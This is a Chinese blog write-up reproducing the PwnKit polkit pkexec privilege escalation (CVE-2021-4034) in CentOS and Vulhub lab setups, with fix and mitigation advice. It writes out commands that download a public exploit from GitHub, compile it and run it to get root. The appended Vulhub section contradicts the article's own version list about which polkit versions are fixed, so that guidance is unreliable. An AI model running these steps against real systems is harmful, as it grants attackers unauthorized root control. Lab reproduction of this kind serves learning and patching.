CVE-2021-4034漏洞复现

CVE-2021-4034 漏洞介绍
该漏洞是 Linux 系统中 Polkit 组件的 pkexec 工具存在的本地权限提升漏洞,也被称为PwnKit。以下是关键信息:

漏洞原理

pkexec 是一个 SUID 工具,允许非特权用户根据策略以特权身份执行命令。漏洞源于 pkexec 在处理参数时逻辑错误,导致环境变量被错误地当作命令执行。攻击者通过构造恶意环境变量,可诱导 pkexec 加载并执行任意代码,最终实现普通用户到 root 的权限提升。

影响范围

  • 受影响组件:所有 Linux 发行版预装的 Polkit 组件(自 2009 年首个版本起)。
  • 高危版本
    • CentOS 系列
      • CentOS 6:polkit < 0.96-11.el6_10.2
      • CentOS 7:polkit < 0.112-26.el7_9.1
      • CentOS 8:polkit < 0.115-13.el8_5.1
    • Ubuntu 系列
      • Ubuntu 20.04 LTS:policykit-1 < 0.105-26ubuntu1.2
      • Ubuntu 18.04 LTS:policykit-1 < 0.105-20ubuntu0.18.04.6
    • 其他发行版:Debian、Fedora 等均受影响。

漏洞复现

环境:centos7

首先对polkit进行降级

在github上下载

GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

在usera用户下面解压

解压完成后进入CVE-2021-4034-main文件并进行编译

编译完成后直接运行

拿到root权限

漏洞危害

  • 权限提升:非特权用户可利用漏洞获取 root 权限,完全控制目标系统。
  • 攻击门槛低:无需复杂操作,普通用户即可触发漏洞(如通过恶意程序或脚本)。
  • 漏洞利用公开:POC 已泄露,攻击者可直接利用。

修复建议

  1. 升级到安全版本

    • CentOS

      bash

      yum clean all && yum makecache
      yum update polkit -y
      

      验证版本:rpm -qa polkit
    • Ubuntu

      bash

      sudo apt-get update
      sudo apt-get install policykit-1
      


      验证版本:dpkg -l policykit-1
  2. 临时缓解措施(无补丁时):

    bash

    chmod 0755 /usr/bin/pkexec  # 删除SUID位,限制权限
    

  3. 参考链接

注意事项

  • 及时修复:漏洞风险极高,建议立即更新系统。
  • 数据备份:升级前备份重要数据,避免意外问题。
  • 监控日志:利用漏洞可能触发系统日志警告(如 “环境变量包含可疑内容”)。

该漏洞因长期未被修复且影响广泛,被称为 “神洞”,需高度重视。

CVE-2021-4034 是一个影响 Linux 系统的严重本地提权漏洞,涉及 Polkit 的 pkexec 组件。该漏洞允许低权限用户通过构造特定参数调用 pkexec 以实现本地提权,从而获得 root 权限。Vulhub 平台通常提供现成的 Docker 环境用于复现漏洞。 以下是在 Vulhub 中复现 CVE-2021-4034 漏洞的具体步骤: ### 准备环境 1. 确保系统中已安装必要的依赖环境,包括: - Docker - Docker Compose 2. 下载 Vulhub 项目到本地: ```bash git clone https://github.com/vulhub/vulhub.git ``` 3. 进入 CVE-2021-4034 漏洞目录: ```bash cd vulhub/CVE-2021-4034 ``` ### 启动漏洞环境 1. 使用 Docker Compose 构建并启动容器: ```bash docker-compose up -d ``` 2. 检查容器是否成功运行: ```bash docker ps ``` 应该能看到一个名为 `cve-2021-4034` 的容器正在运行。 ### 验证漏洞存在性 1. 进入容器内部: ```bash docker exec -it cve-2021-4034 /bin/bash ``` 2. 在容器中验证是否存在漏洞- 检查 pkexec 版本: ```bash pkexec --version ``` - 如果版本号低于修复版本(如 0.105),则系统存在漏洞。 ### 利用漏洞提权 1. 编写或下载漏洞利用脚本,例如使用公开的 PoC 脚本: ```bash wget https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main -O CVE-2021-4034.zip unzip CVE-2021-4034.zip cd CVE-2021-4034-main ``` 2. 编译并运行漏洞利用代码: ```bash make ./cve-2021-4034 ``` 如果漏洞存在,代码运行后应获得 root 权限。 ### 验证提权成功 1. 检查当前用户权限: ```bash id ``` 输出显示当前用户已具有 root 权限,表明提权成功。 ### 修复建议 1. 升级系统中的 Polkit 包至修复版本(0.105 或更高): ```bash apt update && apt upgrade ``` 2. 验证升级后的 pkexec 版本: ```bash pkexec --version ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值